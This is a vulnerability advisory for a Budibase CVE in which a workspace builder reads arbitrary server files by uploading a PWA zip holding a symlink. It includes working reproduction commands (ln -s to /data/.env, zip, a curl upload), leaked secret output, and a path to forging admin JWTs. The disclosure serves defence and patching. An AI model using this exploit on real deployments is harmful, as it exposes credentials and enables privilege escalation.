CVE-2026-54352: Budibase: Arbitrary file read by workspace-builder via PWA-zip symlink upload

Summary

POST /api/pwa/process-zip at packages/server/src/api/routes/static.ts:24 accepts a builder-uploaded .zip, extracts it with extract-zip@2.0.1 into a temp directory, then for each entry listed in icons.json validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via GET /api/assets/{appId}/pwa/{uuid}.png.

extract-zip@2.0.1 preserves absolute symlink targets when restoring symlink entries. The icon-source validator at packages/server/src/api/controllers/static/index.ts:259-268 resolves the icon source string against baseDir (path.resolve), checks resolvedSrc.startsWith(baseDir + path.sep) against that string, and calls fs.existsSync(resolvedSrc) which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at baseDir/evil.png but pointing at /data/.env passes the gate.

packages/backend-core/src/objectStore/objectStore.ts:302 then calls (await fsp.open(path)).createReadStream() on the resolved path. fsp.open follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim.

Result: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including /data/.env with JWTSECRET, INTERNALAPIKEY, MINIO, REDISPASSWORD, COUCHDBPASSWORD, DATABASEURL) by uploading one crafted PWA zip.

Affected

Budibase/budibase server, @budibase/server package, <= 3.39.0 (HEAD feab995, released 2026-05-20).

Reachable in stock self-hosted deployments. The default budibase/budibase:latest Docker image runs the Node server as root inside the container; the server process opens /etc/passwd, /etc/shadow, /data/.env, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app.

Not affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material.

Root cause

packages/server/src/api/routes/static.ts:24: .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip) exposes the endpoint to any workspace builder; the only permission required is BUILDER.

packages/server/src/api/controllers/static/index.ts:235: await extract(filePath, { dir: tempDir }) calls extract-zip@2.0.1, which preserves absolute symlink targets when restoring symlink entries.

packages/server/src/api/controllers/static/index.ts:259-268: the icon validator (path.resolve + resolvedSrc.startsWith(baseDir + path.sep) + fs.existsSync) operates on the resolved string path and on fs.existsSync (which follows symbolic links). A symlink stored under baseDir whose target points anywhere reachable by the server passes the gate as long as the target exists.

packages/backend-core/src/objectStore/objectStore.ts:302: (await fsp.open(path)).createReadStream() follows the symlink and streams the target file's bytes; the object lands in MinIO under {appId}/pwa/{uuid}{extension} and is served by GET /api/assets/{appId}/pwa/{uuid}.{ext} (packages/server/src/api/routes/static.ts:21).

hosting/single/Dockerfile: the production single-container image runs the Node server as root, so the read primitive reaches /etc/shadow, /data/.env, and every other root-readable path.

Reproduction

budibase/budibase:latest (v3.39.0) Docker single-container on localhost:10000, default config, with any workspace builder logged in. Cookie jar and <CSRF> token come from GET /api/global/self.

1. Builder uploads a zip containing one symlink entry that targets /data/.env, plus an icons.json that references the symlink.

bash mkdir attack && cd attack ln -s /data/.env evil.png printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json zip -y attack.zip icons.json evil.png

curl -s "http://localhost:10000/api/pwa/process-zip" \ -b cookies.txt \ -H "x-budibase-app-id: <appId>" \ -H "x-csrf-token: <CSRF>" \ -F "file=@attack.zip"

json {"icons":[{"src":"<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png","sizes":"192x192","type":"image/png"}]}

2. Builder fetches the resulting "icon".

http GET /api/assets/<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1 Host: localhost:10000 Cookie: budibase:auth=<JWT>; budibase:auth.sig=<SIG>

COUCHDBUSER=admin COUCHDBPASSWORD=admin MINIOACCESSKEY=bd501fa31bf44a7e8beb6f7b628c6def MINIOSECRETKEY=bf754d8f29434fc997225e10f55de778 INTERNALAPIKEY=e9580f58b18b4371868aa3442c57522c JWTSECRET=c5441dc903f845bdb93a98b949a612b2 REDISPASSWORD=50739fb539504149a5fd85c85fe6750c DATABASEURL=postgresql://llmproxy:...@127.0.0.1:5432/litellm

Live-verified: the response body of the asset-fetch endpoint is byte-identical to docker exec budibase cat /data/.env; /etc/passwd and /etc/shadow extract via the same primitive when their permissions allow root reads.

Impact

- Disclosure of /data/.env: JWTSECRET, INTERNALAPIKEY, MINIOACCESSKEY, MINIOSECRETKEY, REDISPASSWORD, COUCHDBPASSWORD, LITELLMMASTERKEY, DATABASEURL. - HS256 JWT forge with the leaked JWTSECRET against any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin. - Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds. - Disclosure of /etc/passwd and /etc/shadow via the same primitive when the container runs as root (the shipped default).

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de).